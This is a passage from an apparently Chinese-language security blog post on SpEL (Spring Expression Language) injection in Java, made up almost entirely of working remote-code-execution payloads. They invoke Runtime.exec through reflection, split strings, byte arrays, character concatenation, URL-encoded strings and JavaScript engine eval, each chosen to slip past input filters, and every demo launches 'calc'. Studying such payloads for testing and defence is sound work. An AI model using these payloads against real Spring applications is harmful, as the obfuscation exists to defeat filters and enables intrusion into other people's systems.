T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})

T(String).getClass().forName("java.lang.Runtime").getMethod("exec",T(String[])).invoke(T(String).getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(T(String).getClass().forName("java.lang.Runtime")),new String[]{"cmd","/C","calc"})

// 同上,需要有上下文环境
#this.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})

// 当执行的系统命令被过滤或者被URL编码掉时,可以通过String类动态生成字符,Part1
// byte数组内容的生成后面有脚本
//new java.lang.String(new byte[]{99,97,108,99}等价于"calc"
new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()



// 当执行的系统命令被过滤或者被URL编码掉时,可以通过String类动态生成字符,Part2
// byte数组内容的生成后面有脚本
//java.lang.Character.toString((char) 99)等价于"c"
T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(99)))

JavaScript Engine Bypass

调用js引擎的eval方法执行java恶意代码。

可调用的js引擎有[nashorn, Nashorn, js, JS, JavaScript, javascript, ECMAScript, ecmascript]

1
2
3
ScriptEngineManager sem = new ScriptEngineManager();
ScriptEngine engine = sem.getEngineByName("ECMAScript");
System.out.println(engine.eval("java.lang.Runtime.getRuntime().exec('calc')"));

可调用的js引擎有[nashorn, Nashorn, js, JS, JavaScript, javascript, ECMAScript, ecmascript],可以通过下面代码知道。

1
2
3
4
5
ScriptEngineManager manager = new ScriptEngineManager();
List<ScriptEngineFactory> factories = manager.getEngineFactories();
for (ScriptEngineFactory factory: factories){
System.out.printf("Names: %s%n", factory.getNames());
}}

那么 payload 也就显而易见

1
2
3
4
5
6
7
8
9
10
11
12
// JavaScript引擎通用PoC
T(javax.script.ScriptEngineManager).newInstance().getEngineByName("nashorn").eval("s=[3];s[0]='cmd';s[1]='/C';s[2]='calc';java.la"+"ng.Run"+"time.getRu"+"ntime().ex"+"ec(s);")

T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval("xxx"),)

// JavaScript引擎+反射调用
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})),)

// JavaScript引擎+URL编码
// 其中URL编码内容为:
// 不加最后的getInputStream()也行,因为弹计算器不需要回显
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(java.net.URLDecoder).decode("%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%61%6c%63%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29")),)

nashorn 作 Engine

1
String spel = "T(javax.script.ScriptEngineManager).newInstance().getEngineByName(\"nashorn\")" + ".eval(\"s='calc';" +  "java.la\"+\"ng.Run\"+\"time.getRu\"+\"ntime().ex\"+\"ec(s);\")";
1
2
3
4
5
6
7
public static void main(String[] args) throws ScriptException {
String spel = "T(javax.script.ScriptEngineManager).newInstance().getEngineByName(\"nashorn\")" + ".eval(\"s='calc';" + "java.la\"+\"ng.Run\"+\"time.getRu\"+\"ntime().ex\"+\"ec(s);\")";
ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(spel);
StandardEvaluationContext context = new StandardEvaluationContext();
expression.getValue(context);
}

javascript 作 Engine

1
new javax.script.ScriptEngineManager().getEngineByName(\"javascript\").eval(\"s='calc';java.lang.Runtime.getRuntime().exec(s);\")
1
2
3
4
5
6
7
8
public static void main(String[] args) throws ScriptException {
String spel = "new javax.script.ScriptEngineManager().getEngineByName(\"javascript\").eval(\"s='calc';java.lang.Runtime.getRuntime().exec(s);\")";
ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(spel);
StandardEvaluationContext context = new StandardEvaluationContext();
expression.getValue(context);
}

参考

Java 之 EL 表达式注入 | Drunkbaby’s Blog (drun1baby.top)

Java 之 SpEL 表达式注入 | Drunkbaby’s Blog (drun1baby.top)

由浅入深SpEL表达式注入漏洞 - Ruilin (rui0.cn)


表达式注入
http://example.com/2024/07/09/表达式注入/
作者
cmisl
发布于
2024年7月9日
许可协议